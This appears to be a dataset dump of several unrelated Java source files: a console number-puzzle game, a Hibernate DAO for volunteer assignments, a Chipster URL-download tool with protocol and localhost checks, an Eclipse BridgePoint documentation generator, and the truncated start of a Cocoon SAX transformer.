answer
stringlengths 17
10.2M
|
|---|
package rubys.ninja.experiments.zahlenpuzzle.view;
import rubys.ninja.experiments.zahlenpuzzle.board.Board;
import rubys.ninja.experiments.zahlenpuzzle.board.BoardSize;
import rubys.ninja.experiments.zahlenpuzzle.game.Game;
import rubys.ninja.experiments.zahlenpuzzle.token.Token;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Scanner;
public class ConsoleView {
public void run() {
DirectionController directionController = new DirectionController(this::getDirection);
Board board = directionController.getBoard();
clearScreen();
System.out.println("Hi there, nice to meet you :-)");
printBoard(board);
while (true) {
Game.UpdateResult result = directionController.update();
clearScreen();
switch (result) {
case SuccessfulSwap:
printSomethingNice();
break;
case RequestDenied:
System.out.println("Invalid move");
break;
case GameFinished:
System.out.println("Congrats, you won!");
return;
}
printBoard(board);
}
}
private void clearScreen() {
System.out.print("\033[H\033[2J");
System.out.flush();
}
private void printSomethingNice() {
Random random = new Random();
switch (random.nextInt(10)) {
case 0:
System.out.println("Nice moves my friend :)");
break;
case 1:
System.out.println("Great Strategy!");
break;
case 2:
System.out.println("Good movement, if I do say so myself");
break;
case 3:
System.out.println("Good Job!");
break;
case 4:
System.out.println("Excellent choice, good sir");
break;
case 5:
System.out.println("Swaggy moves, dude!");
break;
case 6:
System.out.println("Cool shizzle, my nizzle");
break;
case 7:
System.out.println("omg :o");
break;
case 8:
System.out.println("You can do it! :>");
break;
case 9:
System.out.println("Meeeemes");
break;
}
}
private void printBoard(Board board) {
System.out.println(renderBoard(board));
}
private String renderBoard(Board board) {
StringBuilder builder = new StringBuilder();
BoardSize size = board.getSize();
List<String> tokens = getTokens(board);
int cellWidth = getMaxWidth(tokens);
int lineWidth = (cellWidth + 3) * size.getWidth();
String divider = new String(new char[lineWidth]).replace("\0", "-") + "\n";
builder.append(divider);
for (int i = 0; i < size.getHeight(); i++) {
builder.append("| ");
for (int j = 0; j < size.getWidth(); j++) {
Token token = board.getTokenAt(new BoardSize(j, i));
builder.append(String.format("%-" + cellWidth + "s", token));
builder.append(" | ");
}
builder.append("\n");
builder.append(divider);
}
return builder.toString();
}
private int getMaxWidth(List<String> strings) {
int width = 0;
for (String string : strings)
if (string.length() > width)
width = string.length();
return width;
}
private List<String> getTokens(Board board) {
ArrayList<String> tokens = new ArrayList<>();
for (Token token : board) {
tokens.add(token.toString());
}
return tokens;
}
private DirectionRequester.Direction getDirection() {
Scanner reader = new Scanner(System.in); // Reading from System.in
System.out.println("Pick a direction [u/d/l/r]: ");
String direction = reader.nextLine();
switch (direction) {
case "u":
return DirectionRequester.Direction.up;
case "d":
return DirectionRequester.Direction.down;
case "l":
return DirectionRequester.Direction.left;
case "r":
return DirectionRequester.Direction.right;
}
return getDirection();
}
}
|
package uk.org.rbc1b.roms.db.volunteer;
import java.util.List;
import org.hibernate.Criteria;
import org.hibernate.SessionFactory;
import org.hibernate.criterion.Order;
import org.hibernate.criterion.Projections;
import org.hibernate.criterion.Restrictions;
import org.hibernate.sql.JoinType;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.cache.annotation.Cacheable;
import org.springframework.stereotype.Repository;
import uk.org.rbc1b.roms.controller.common.SortDirection;
/**
* Hibernate implementation of the department dao.
*/
@Repository
public class HibernateDepartmentDao implements DepartmentDao {
@Autowired
private SessionFactory sessionFactory;
@Override
@Cacheable("department.team")
public Team findTeam(Integer teamId) {
return (Team) this.sessionFactory.getCurrentSession().get(Team.class, teamId);
}
@Override
@Cacheable("department.department")
public Department findDepartment(Integer departmentId) {
return (Department) this.sessionFactory.getCurrentSession().get(Department.class, departmentId);
}
@Override
public Department findDepartmentByName(String name) {
Criteria criteria = this.sessionFactory.getCurrentSession().createCriteria(Department.class);
return (Department) criteria.add(Restrictions.naturalId().set("name", name)).setCacheable(true).uniqueResult();
}
@SuppressWarnings("unchecked")
@Override
public List<Department> findDepartments() {
Criteria criteria = this.sessionFactory.getCurrentSession().createCriteria(Department.class);
return criteria.addOrder(Order.asc("name")).list();
}
@SuppressWarnings("unchecked")
@Override
public List<Department> findChildDepartments(Integer departmentId) {
Criteria criteria = this.sessionFactory.getCurrentSession().createCriteria(Department.class);
criteria.add(Restrictions.eq("superDepartment.departmentId", departmentId));
return criteria.list();
}
@SuppressWarnings("unchecked")
@Override
public List<Assignment> findAssignments(AssignmentSearchCriteria searchCriteria) {
Criteria criteria = createAssigmentsSearchCriteria(searchCriteria);
if (searchCriteria.getStartIndex() != null && searchCriteria.getMaxResults() != null) {
criteria.setFirstResult(searchCriteria.getStartIndex());
criteria.setMaxResults(searchCriteria.getMaxResults());
}
if (searchCriteria.getSearch() != null) {
criteria.createAlias("person", "person", JoinType.LEFT_OUTER_JOIN);
criteria.createAlias("person.congregation", "congregation", JoinType.LEFT_OUTER_JOIN);
criteria.createAlias("team", "team", JoinType.LEFT_OUTER_JOIN);
criteria.createAlias("role", "role", JoinType.LEFT_OUTER_JOIN);
String searchValue = "%" + searchCriteria.getSearch() + "%";
criteria.add(Restrictions.or(Restrictions.like("person.forename", searchValue),
Restrictions.like("person.surname", searchValue),
Restrictions.like("congregation.name", searchValue), Restrictions.like("team.name", searchValue),
Restrictions.like("role.name", searchValue)));
}
if (searchCriteria.getSortValue() != null) {
// we may need to join into the values of the sort column
if (searchCriteria.getSearch() == null) {
if (searchCriteria.getSortValue().startsWith("person")) {
criteria.createAlias("person", "person", JoinType.LEFT_OUTER_JOIN);
}
if (searchCriteria.getSortValue().startsWith("person.congregation")) {
criteria.createAlias("person.congregation", "congregation", JoinType.LEFT_OUTER_JOIN);
}
if (searchCriteria.getSortValue().startsWith("team")) {
criteria.createAlias("team", "team", JoinType.LEFT_OUTER_JOIN);
}
if (searchCriteria.getSortValue().equals("role")) {
criteria.createAlias("role", "role", JoinType.LEFT_OUTER_JOIN);
}
}
String sortValue = searchCriteria.getSortValue();
if (sortValue.equals("person.congregation.name")) {
sortValue = "congregation.name";
} else if (sortValue.equals("tradeNumber")) {
sortValue = "tradeNumberId";
} else if (sortValue.equals("role")) {
sortValue = "role.name";
}
criteria.addOrder(searchCriteria.getSortDirection() == SortDirection.ASCENDING ? Order.asc(sortValue)
: Order.desc(sortValue));
}
return criteria.list();
}
@Override
public int findAssignmentsCount(AssignmentSearchCriteria searchCriteria) {
Criteria criteria = createAssigmentsSearchCriteria(searchCriteria);
criteria.setProjection(Projections.rowCount());
return ((Long) criteria.uniqueResult()).intValue();
}
private Criteria createAssigmentsSearchCriteria(AssignmentSearchCriteria searchCriteria) {
Criteria criteria = this.sessionFactory.getCurrentSession().createCriteria(Assignment.class);
if (searchCriteria.getDepartmentId() != null) {
criteria.add(Restrictions.eq("departmentId", searchCriteria.getDepartmentId()));
}
if (searchCriteria.getPersonId() != null) {
criteria.add(Restrictions.eq("personId", searchCriteria.getPersonId()));
}
if (searchCriteria.getRoleId() != null) {
criteria.add(Restrictions.eq("role.assignmentRoleId", searchCriteria.getRoleId()));
}
if (searchCriteria.getTeamId() != null) {
criteria.add(Restrictions.eq("teamId", searchCriteria.getTeamId()));
}
if (searchCriteria.getTradeNumberId() != null) {
criteria.add(Restrictions.eq("tradeNumberId", searchCriteria.getTradeNumberId()));
}
return criteria;
}
public void setSessionFactory(SessionFactory sessionFactory) {
this.sessionFactory = sessionFactory;
}
}
|
package fi.csc.chipster.tools.common;
import java.io.File;
import java.net.URL;
import java.util.Arrays;
import java.util.LinkedHashMap;
import java.util.List;
import org.apache.commons.io.FileUtils;
import fi.csc.microarray.analyser.java.JavaAnalysisJobBase;
import fi.csc.microarray.messaging.JobState;
import fi.csc.microarray.util.Exceptions;
import fi.csc.microarray.util.JavaToolUtils;
import fi.csc.microarray.util.UrlTransferUtil;
public class DownloadFile extends JavaAnalysisJobBase {
public static final int CONNECTION_TIMEOUT = 15*1000;
public static final int READ_TIMEOUT = 7*24*60*60*1000;
/*
* We definitely don't wan't to enable 'file' protocol. Other
* protocols might be fine as long as the isLocalhost() check below
* is sufficient for it.
*/
public static final List<String> allowedProtocols = Arrays.asList(new String[] {"http", "https", "ftp"});
public static final String CURRENT = "current";
@Override
public String getSADL() {
return "TOOL DownloadFile.java: \"Download file\" (Download a file from an URL address to the Chipster server. The URL must be visible to Chipster server. If it's not, use client's 'Import from URL' functionality instead.)" + "\n" +
"OUTPUT downloaded_file: \"Downloaded file\"" + "\n" +
"PARAMETER paramUrl: \"URL\" TYPE STRING (URL to download)" +
"PARAMETER paramFileExtension: \"Add a file extension\" TYPE [" + CURRENT + ": \"Keep current\", bam: \"BAM\", fa: \"FASTA\", fastq: \"FASTQ\", gtf: \"GTF\"] DEFAULT " + CURRENT + " (The output file is named according to the last part of the URL. If it doesn't contain a correct file extension, select it here so that the file type is recognized correctly.)";
}
@Override
protected void execute() {
updateStateToClient(JobState.RUNNING, "downloading");
try {
// file
File outputFile = new File(jobWorkDir, analysis.getOutputFiles().get(0).getFileName().getID());
// parameters
List<String> parameters = inputMessage.getParameters(JAVA_PARAMETER_SECURITY_POLICY, analysis);
String urlString = parameters.get(0);
String fileExtension = parameters.get(1);
URL url = new URL(urlString);
if (!allowedProtocols.contains(url.getProtocol())) {
getResultMessage().setErrorMessage("Unsupported protocol: " + url.getProtocol());
updateState(JobState.FAILED_USER_ERROR, "");
return;
}
if (UrlTransferUtil.isLocalhost(url.getHost())) {
getResultMessage().setErrorMessage("Not allowed to connect localhost: " + url.getHost());
updateState(JobState.FAILED_USER_ERROR, "");
return;
}
String datasetName = UrlTransferUtil.parseFilename(url);
if (!CURRENT.equals(fileExtension)) {
datasetName += "." + fileExtension;
}
FileUtils.copyURLToFile(url, outputFile, CONNECTION_TIMEOUT, READ_TIMEOUT);
LinkedHashMap<String, String> nameMap = new LinkedHashMap<>();
nameMap.put(outputFile.getName(), datasetName);
JavaToolUtils.writeOutputDescription(jobWorkDir, nameMap);
} catch (Exception e) {
getResultMessage().setErrorMessage(Exceptions.getStackTrace(e));
updateState(JobState.FAILED, "");
return;
}
updateStateToClient(JobState.RUNNING, "download finished");
}
}
|
// File: Generator.java
package org.xtuml.bp.docgen.generator;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.List;
import org.apache.tools.ant.Task;
import org.eclipse.core.filesystem.EFS;
import org.eclipse.core.filesystem.IFileStore;
import org.eclipse.core.filesystem.IFileSystem;
import org.eclipse.core.resources.IFile;
import org.eclipse.core.resources.IProject;
import org.eclipse.core.resources.IResource;
import org.eclipse.core.runtime.CoreException;
import org.eclipse.core.runtime.IPath;
import org.eclipse.core.runtime.IProgressMonitor;
import org.eclipse.core.runtime.NullProgressMonitor;
import org.eclipse.core.runtime.Path;
import org.eclipse.jface.dialogs.ProgressMonitorDialog;
import org.eclipse.jface.operation.IRunnableWithProgress;
import org.eclipse.ui.IEditorDescriptor;
import org.eclipse.ui.IWorkbenchPage;
import org.eclipse.ui.PlatformUI;
import org.eclipse.ui.console.ConsolePlugin;
import org.eclipse.ui.console.IConsole;
import org.eclipse.ui.console.IConsoleConstants;
import org.eclipse.ui.console.IConsoleManager;
import org.eclipse.ui.console.IConsoleView;
import org.eclipse.ui.console.MessageConsole;
import org.eclipse.ui.console.MessageConsoleStream;
import org.eclipse.ui.part.FileEditorInput;
import org.xtuml.bp.core.CorePlugin;
import org.xtuml.bp.core.SystemModel_c;
import org.xtuml.bp.core.common.PersistableModelComponent;
import org.xtuml.bp.mc.AbstractActivator;
import org.xtuml.bp.mc.AbstractNature;
import org.xtuml.bp.mc.c.source.ExportBuilder;
public class Generator extends Task {
public static final String DOCGEN_LAUNCH_ID = "DocGen document generator.launch"; //$NON-NLS-1$
public static final String XSLTPROC_LAUNCH_ID = "DocGen xsltproc.launch"; //$NON-NLS-1$
public static final String XBUILD_LAUNCH_ID = "DocGen xtumlmc build.launch"; //$NON-NLS-1$
public static final String EXTERNALTOOLBUILDER_FOLDER = ".externalToolBuilders"; //$NON-NLS-1$
public static final String CORE_ICON_DIR = "icons/metadata/"; //$NON-NLS-1$
public static final String IMAGE_DIR = "images/"; //$NON-NLS-1$
public static final String DOCGEN_DIR = "/tools/docgen/"; //$NON-NLS-1$
public static final String DOCGEN_BIN_DIR = "/tools/mc/bin/"; //$NON-NLS-1$
public static final String DOCGEN_EXE = "docgen"; //$NON-NLS-1$
public static final String DOCBOOK_DIR = "docbook/"; //$NON-NLS-1$
public static final String XSLTPROC_EXE = "xsltproc"; //$NON-NLS-1$
public static final String XHTMLFILES = DOCGEN_DIR + "docbook/docbook-xsl-1.75.1/xhtml/"; //$NON-NLS-1$
public static final String DOC_DIR = "doc/"; //$NON-NLS-1$
public static final String DOCGEN_INPUT = "a.xtuml"; //$NON-NLS-1$
public static final String DOC_HTML = "doc.html"; //$NON-NLS-1$
public static final String DOC_XML = "doc.xml"; //$NON-NLS-1$
public static final String DOCGEN_XSL = "docgen.xsl"; //$NON-NLS-1$
public static final String CSSFILE = ".css"; //$NON-NLS-1$
public static final String CONSOLE_NAME = "Console"; //$NON-NLS-1$
private static final String ACTIVITY_ICON = "Activity.gif"; //$NON-NLS-1$
private static final int SLEEPTIME = 500;
private static final int KILLTIMEOUT = 20000;
private static String homedir = "";
public static MessageConsole myConsole;
public static MessageConsoleStream msgbuf;
public static Generator self;
public Generator() {
myConsole = findConsole(CONSOLE_NAME);
msgbuf = myConsole.newMessageStream();
homedir = System.getProperty("eclipse.home.location"); //$NON-NLS-1$
homedir = homedir.replaceFirst("file:", ""); //$NON-NLS-1$
}
public static void genAll(SystemModel_c sys) {
if (self == null) {
self = new Generator();
}
createDocumentation(sys);
}
/*
* The flow of this function is:
* - Run the image generator
* - Run the Model Compiler pre-builder
* - Call xtumlmc_build.exe xtumlmc_cleanse_model <model file>
* - Pass the stripped down model file to the docgen exe
* - Store the doc.xml output in the specified output folder
* - Run xsltproc to convert doc.xml into doc.html
* - Display doc.html
*/
private static void createDocumentation(final SystemModel_c sys) {
final IProject project = org.xtuml.bp.io.image.generator.Generator
.getProject(sys);
boolean failed = false;
if ( (project != null) && !failed ) {
String projPath = project.getLocation().toOSString();
final IPath path = new Path(projPath + File.separator
+ DOC_DIR);
final String destPath = path.toOSString();
ProgressMonitorDialog pmd = new ProgressMonitorDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell());
pmd.setCancelable(true);
pmd.create();
IProgressMonitor monitor = pmd.getProgressMonitor();
try {
// Make sure the settings in the launch file are up to date so
// we can invoke xtumlmc_build properly.
AbstractNature nature = null;
AbstractActivator activator = null;
// These are used for backwards compatibility in the newer BP without a binary MC
final String BIN_C_MC_NATURE_ID = "org.xtuml.bp.mc.c.binary.MCNature"; //NON-NLS-1
final String BIN_C_MC_NATURE_ID_OLD = "com.mentor.nucleus.bp.mc.c.binary.MCNature"; //NON-NLS-1
if ( project.hasNature(BIN_C_MC_NATURE_ID) || project.hasNature(BIN_C_MC_NATURE_ID_OLD) ) {
nature = org.xtuml.bp.mc.c.source.MCNature.getDefault();
activator = org.xtuml.bp.mc.c.source.Activator.getDefault();
}
else if ( project.hasNature(org.xtuml.bp.mc.c.source.MCNature.MC_NATURE_ID) || project.hasNature(org.xtuml.bp.mc.c.source.MCNature.MC_NATURE_ID_OLD) ) {
nature = org.xtuml.bp.mc.c.source.MCNature.getDefault();
activator = org.xtuml.bp.mc.c.source.Activator.getDefault();
}
else if ( project.hasNature(org.xtuml.bp.mc.cpp.source.MCNature.MC_NATURE_ID) || project.hasNature(org.xtuml.bp.mc.cpp.source.MCNature.MC_NATURE_ID_OLD) ) {
nature = org.xtuml.bp.mc.cpp.source.MCNature.getDefault();
activator = org.xtuml.bp.mc.cpp.source.Activator.getDefault();
}
else if ( project.hasNature(org.xtuml.bp.mc.systemc.source.MCNature.MC_NATURE_ID) || project.hasNature(org.xtuml.bp.mc.systemc.source.MCNature.MC_NATURE_ID_OLD) ) {
nature = org.xtuml.bp.mc.systemc.source.MCNature.getDefault();
activator = org.xtuml.bp.mc.systemc.source.Activator.getDefault();
}
org.xtuml.bp.mc.MCBuilderArgumentHandler argHandlerAbstract = new org.xtuml.bp.mc.MCBuilderArgumentHandler(
project, activator, nature);
argHandlerAbstract.setArguments(nature.getBuilderID());
// Next proceed with actually running docgen on the model
IWorkbenchPage page = PlatformUI.getWorkbench()
.getActiveWorkbenchWindow().getActivePage();
String id = IConsoleConstants.ID_CONSOLE_VIEW;
IConsoleView view = (IConsoleView) page.showView(id);
view.display(myConsole);
pmd.run(true, true, new IRunnableWithProgress() {
public void run(IProgressMonitor monitor)
throws InvocationTargetException,
InterruptedException {
int steps = 8;
int curStep = 1;
List<SystemModel_c> exportedSystems = new ArrayList<SystemModel_c>();
monitor.beginTask("Document Generation", steps);
if (!path.toFile().exists()) {
path.toFile().mkdir();
}
while (curStep <= steps) {
if (monitor.isCanceled()) {
InterruptedException ie = new InterruptedException("User cancelled the operation");
throw ie;
}
try {
switch (curStep) {
case 1:
monitor.subTask("Cleaning");
cleanup(destPath);
monitor.worked(1);
break;
case 2:
monitor.subTask("Loading model");
PersistableModelComponent pmc = sys.getPersistableComponent();
pmc.loadComponentAndChildren(new NullProgressMonitor());
monitor.worked(1);
break;
case 3:
monitor.subTask("Gathering model information");
ExportBuilder eb = new ExportBuilder();
exportedSystems = eb.exportSystem(sys, destPath, new NullProgressMonitor());
monitor.worked(1);
break;
case 4:
monitor.subTask("Generating images");
org.xtuml.bp.io.image.generator.Generator.genAll(sys, project);
// Now gen the images for the referred-to systems
for( SystemModel_c exportedSystem: exportedSystems ) {
org.xtuml.bp.io.image.generator.Generator.genAll(exportedSystem, project);
}
configureIcons(project, destPath);
monitor.worked(1);
break;
case 5:
monitor.subTask("Prepping model for document generation");
runXbuild(project, destPath);
monitor.worked(1);
break;
case 6:
monitor.subTask("Processing model");
runDocgen(project, destPath);
monitor.worked(1);
break;
case 7:
monitor.subTask("Generating display data");
runXsltproc(project, destPath);
monitor.worked(1);
break;
case 8:
monitor.subTask("Refreshing");
project.refreshLocal(IResource.DEPTH_INFINITE, null);
monitor.worked(1);
break;
}
} catch (Throwable e) {
RuntimeException err = new RuntimeException(e.getMessage());
throw err;
}
curStep++;
}
}
});
openOutput(project);
} catch (Throwable e) {
String errMsg = e.getMessage();
if ( (errMsg == null) || errMsg.isEmpty() ) {
Throwable cause = e.getCause();
if ( cause != null ) {
errMsg = cause.getMessage();
}
if ((cause == null) || (errMsg == null)) {
errMsg = "";
}
}
logMsg("Error. Document generation failed: " + errMsg);
CorePlugin.logError("Error. Document generation failed: " + errMsg, e);
failed = true;
} finally {
if (failed) {
try {
cleanup(destPath);
project.refreshLocal(IResource.DEPTH_INFINITE, null);
} catch (CoreException ce) {
String errMsg = ce.getMessage();
if ( (errMsg == null) || errMsg.isEmpty() ) {
errMsg = "CoreException";
}
logMsg("Error. Document generation failed during cleanup: " + errMsg);
CorePlugin.logError("Error. Document generation failed during cleanup: " + errMsg, ce);
}
} else {
logMsg("Document generation finished successfully.");
}
monitor.done();
}
}
}
private static void cleanup(String workingDir)
throws CoreException
{
/* NOTE: At initial implementation we have decide to leave the
* generated data alone so we don't delete any potential user
* created data.
*
File workDir = new File(workingDir);
File[] files = workDir.listFiles();
for (File file: files) {
if ( file.isDirectory() ) {
cleanup(file.toString());
file.delete();
} else {
file.delete();
}
}*/
}
private static void configureIcons(IProject project, String workingDir)
throws RuntimeException, CoreException, IOException
{
File imageDir = new File(workingDir + IMAGE_DIR);
File coreIconDir = new File(CorePlugin.getEntryPath(CORE_ICON_DIR));
if (!imageDir.exists()) {
RuntimeException re = new RuntimeException("Expected model images do not exist.");
throw re;
}
if (!coreIconDir.exists()) {
RuntimeException re = new RuntimeException("Could not locate icons in core plugin.");
throw re;
}
IFileSystem fileSystem = EFS.getLocalFileSystem();
IFileStore srcDir = fileSystem.getStore(coreIconDir.toURI());
IFileStore tgtDir = fileSystem.getStore(imageDir.toURI());
srcDir.copy(tgtDir, EFS.OVERWRITE, null);
project.refreshLocal(IResource.DEPTH_INFINITE, null);
File activityIcon = new File(workingDir + IMAGE_DIR + ACTIVITY_ICON);
if (!activityIcon.exists()) {
RuntimeException re = new RuntimeException("Failed to copy icons from core plugin.");
throw re;
}
}
private static void runXbuild(IProject project, String workingDir)
throws IOException, RuntimeException, CoreException, InterruptedException
{
// Call xtumlmc_build.exe xtumlmc_cleanse_model <infile> <outfile>
String app = AbstractNature.getLaunchAttribute(project,
org.xtuml.bp.mc.AbstractNature.LAUNCH_ATTR_TOOL_LOCATION);
String args = "xtumlmc_cleanse_model"; //$NON-NLS-1$
String inputfile = project.getName() + ".sql"; //$NON-NLS-1$
String middlefile = "z.xtuml"; //$NON-NLS-1$
String outputfile = DOCGEN_INPUT;
File output = new File(workingDir + outputfile);
File middle = new File(workingDir + middlefile);
File sqlfile = new File(workingDir + inputfile);
if ( middle.exists() ) {
middle.delete();
}
if ( output.exists() ) {
output.delete();
}
ProcessBuilder pb = new ProcessBuilder(app, args, inputfile, middlefile);
pb.directory(new File(workingDir));
Process process = pb.start();
process.waitFor();
project.refreshLocal(IResource.DEPTH_INFINITE, null);
if ( !middle.exists() ) {
RuntimeException re = new RuntimeException("Expected output file doesn't exist: " +
middle.toString());
throw re;
}
// Call xtumlmc_build.exe ReplaceUUIDWithLong <infile> <outfile>
args = "ReplaceUUIDWithLong"; //$NON-NLS-1$
pb = new ProcessBuilder(app, args, middlefile, outputfile);
pb.directory(new File(workingDir));
process = pb.start();
process.waitFor();
sqlfile.delete();
middle.delete();
project.refreshLocal(IResource.DEPTH_INFINITE, null);
if ( !output.exists() ) {
RuntimeException re = new RuntimeException("Expected output file doesn't exist: " +
output.toString());
throw re;
}
}
private static void runDocgen(IProject project, String workingDir)
throws IOException, RuntimeException, CoreException, InterruptedException
{
// Call docgen.exe
String app = homedir + DOCGEN_BIN_DIR + DOCGEN_EXE;
String outputfile = DOC_XML;
File output = new File(workingDir + outputfile);
File input = new File(workingDir + DOCGEN_INPUT);
if (output.exists()) {
output.delete();
}
ProcessBuilder pb = new ProcessBuilder(app);
pb.directory(new File(workingDir));
Process process = pb.start();
int exitVal = doWaitFor(process, null);
input.delete();
project.refreshLocal(IResource.DEPTH_INFINITE, null);
if ( exitVal == -1 ) {
RuntimeException re = new RuntimeException("docgen subprocess failed: " +
output.toString());
throw re;
} else if ( !output.exists() ) {
RuntimeException re = new RuntimeException("Expected output file doesn't exist: " +
output.toString());
throw re;
}
}
private static void runXsltproc(IProject project, String workDir)
throws IOException, RuntimeException, CoreException, InterruptedException
{
// Run xsltproc to convert doc.xml into doc.html
String app = homedir + DOCGEN_DIR + DOCBOOK_DIR + XSLTPROC_EXE;
File appFile = new File(app);
String docbook_folder = homedir + XHTMLFILES;
String workingDir = workDir.replaceAll("\\\\", "/"); //$NON-NLS-1$ //$NON-NLS-2$
String input_xmlfile = workingDir + "/" + DOC_XML;
File output = new File(workingDir + "/" + DOC_HTML);
if ( ! appFile.exists() ) {
Path appInPath = findProgramInPath(XSLTPROC_EXE);
if ( appInPath == null ) {
RuntimeException re = new RuntimeException("Document generation requires the tool \"xsltproc\". Please install it. See https://github.com/xtuml/bridgepoint/blob/master/doc-bridgepoint/process/FAQ.md for additional help.");
throw re;
} else {
app = appInPath.toOSString();
}
}
if (output.exists()) {
output.delete();
}
IFileSystem fileSystem = EFS.getLocalFileSystem();
IFileStore[] children = fileSystem.getStore(new File(homedir + DOCGEN_DIR).toURI()).childStores(EFS.NONE, null);
for (IFileStore child: children) {
if (child.getName().endsWith(CSSFILE)) {
IFileStore targetCss = fileSystem.getStore(new File(workingDir + child.getName()).toURI());
child.copy(targetCss, EFS.OVERWRITE, null);
}
}
ProcessBuilder pb = new ProcessBuilder();
pb.redirectErrorStream(true);
pb.directory(new File(docbook_folder));
ArrayList<String> cmd_line = new ArrayList<String>();
cmd_line.add(app);
cmd_line.add(DOCGEN_XSL);
cmd_line.add(input_xmlfile);
pb.command(cmd_line);
Process process = pb.start();
int exitVal = doWaitFor(process, output);
if ( exitVal == -1 ) {
RuntimeException re = new RuntimeException("xsltproc subprocess failed to create " +
output.toString());
throw re;
}
project.refreshLocal(IResource.DEPTH_INFINITE, null);
if ( !output.exists() ) {
RuntimeException re = new RuntimeException("Expected output file doesn't exist: " +
output.toString());
throw re;
}
}
private static void openOutput(IProject project)
throws IOException, RuntimeException, CoreException, InterruptedException
{
// Open the generated documentation
String htmlfile = DOC_HTML;
IFile output = project.getFile(DOC_DIR + htmlfile);
IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage();
IEditorDescriptor desc = PlatformUI.getWorkbench().
getEditorRegistry().getDefaultEditor(output.getName());
page.openEditor(new FileEditorInput(output), desc.getId());
}
private static MessageConsole findConsole(String name) {
ConsolePlugin plugin = ConsolePlugin.getDefault();
IConsoleManager conMan = plugin.getConsoleManager();
IConsole[] existing = conMan.getConsoles();
for (int i = 0; i < existing.length; i++) {
if (name.equals(existing[i].getName())) {
return (MessageConsole) existing[i];
}
}
// no console found, so create a new one
MessageConsole myConsole = new MessageConsole(name, null);
conMan.addConsoles(new IConsole[] { myConsole });
return myConsole;
}
private static void logMsg(String msg) {
try {
msgbuf.println(msg);
msgbuf.flush();
while(PlatformUI.getWorkbench().getDisplay().readAndDispatch());
} catch (IOException ioe) {
}
}
private static int doWaitFor(Process p, File output) {
int exitValue = -1; // returned to caller when p is finished
int totalTime = 0;
try {
BufferedReader is = new BufferedReader(new InputStreamReader(p.getInputStream()));
DataOutputStream dos = null;
if (output != null) {
dos = new DataOutputStream(
new BufferedOutputStream(new FileOutputStream(output)));
}
String line;
boolean finished = false; // Set to true when p is finished
while (!finished) {
try {
while ((line = is.readLine()) != null) {
if ( dos != null) {
dos.writeBytes(line);
dos.write('\n');
}
}
// Ask the process for its exitValue. If the process
// is thrown. If it is finished, we fall through and
// the variable finished is set to true.
exitValue = p.exitValue();
finished = true;
} catch (IllegalThreadStateException e) {
// Process is not finished yet;
// Sleep a little to save on CPU cycles
Thread.sleep(SLEEPTIME);
totalTime = totalTime + SLEEPTIME;
if (totalTime > KILLTIMEOUT) {
finished = true;
p.destroy();
}
}
if (dos != null) {
dos.flush();
dos.close();
}
}
} catch (Exception e) {
// unexpected exception! print it out for debugging...
System.err.println("doWaitFor(): unexpected exception - " + e.getMessage());
}
return exitValue;
}
public static Path findProgramInPath(String desiredProgram) {
ProcessBuilder pb = new ProcessBuilder(isWindows() ? "where" : "which", desiredProgram);
Path foundProgram = null;
try {
Process proc = pb.start();
int errCode = proc.waitFor();
if (errCode == 0) {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) {
// Found it!
foundProgram = new Path(reader.readLine());
}
} else {
System.err.println(desiredProgram + " not in PATH");
}
} catch (IOException ex) {
System.err.println("Something went wrong while searching for " + desiredProgram);
} catch (InterruptedException ex) {
System.err.println("Something went wrong while searching for " + desiredProgram);
}
return foundProgram;
}
private static boolean isWindows() {
return System.getProperty("os.name").toLowerCase().contains("windows");
}
}
|
package org.apache.cocoon.transformation;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.Stack;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.avalon.framework.parameters.Parameters;
import org.apache.cocoon.ProcessingException;
import org.apache.cocoon.components.modules.input.InputModuleHelper;
import org.apache.cocoon.environment.SourceResolver;
import org.apache.cocoon.transformation.helpers.TextRecorder;
import org.apache.cocoon.xml.SaxBuffer;
import org.apache.cocoon.xml.XMLConsumer;
import org.apache.cocoon.xml.XMLUtils;
import org.apache.commons.lang.StringEscapeUtils;
import org.apache.excalibur.xml.sax.XMLizable;
import org.xml.sax.Attributes;
import org.xml.sax.Locator;
import org.xml.sax.SAXException;
/**
* This variation on the AbstractSAXTransformer modifies the sendXYZ methods,
* so that they send to the next component in the pipeline.
* Contrary to what you would expect, that is not what the AbstractSAXTransformer does.
* It also fixes the broken behaviour of TextRecording, SerializedXMLRecording and SAXRecording.
*/
public class AbstractSAXPipelineTransformer extends AbstractSAXTransformer {
/**
* The namespaces and their prefixes.
* Every list item is a 2-item array of prefix and URI.
* List items at higher indexes override items with the same prefix at lower indexes.
*/
private final List<String[]> namespaces = new ArrayList<String[]>(10);
/**
* The current prefix for the transforming element namespace of the transformer.
*/
private String ourPrefix;
/*
* The prefixes emitted by sendAllStartPrefixMapping, to be ended by the next sendAllEndPrefixMapping.
*/
private Stack<List<String>> prefixStack = new Stack<List<String>>();
/**
* Are we recording SAX events?
* When recording SAX, we will produce our own prefix mapping events.
*/
private boolean recordingSAX;
/**
* Way too simple parser to interpolate input module expressions.
* @param value A string, possibly containing input module expressions.
* @return The interpolated string.
*/
protected String interpolateModules(String value) {
InputModuleHelper imh = new InputModuleHelper();
imh.setup(manager);
Pattern modulePattern = Pattern.compile("\\{([^\\{\\}:]+):([^\\{\\}]+)\\}");
Matcher moduleMatcher = modulePattern.matcher(value);
StringBuffer sb = new StringBuffer();
while (moduleMatcher.find()) {
String moduleName = moduleMatcher.group(1);
String accessor = moduleMatcher.group(2);
Object moduleValue = imh.getAttribute(objectModel, moduleName, accessor, null);
if (moduleValue != null) moduleMatcher.appendReplacement(sb, moduleValue.toString());
}
moduleMatcher.appendTail(sb);
imh.releaseAll();
return sb.toString();
}
/**
* @see org.apache.cocoon.transformation.AbstractSAXTransformer#setup(org.apache.cocoon.environment.SourceResolver, java.util.Map, java.lang.String, org.apache.avalon.framework.parameters.Parameters)
*/
@Override
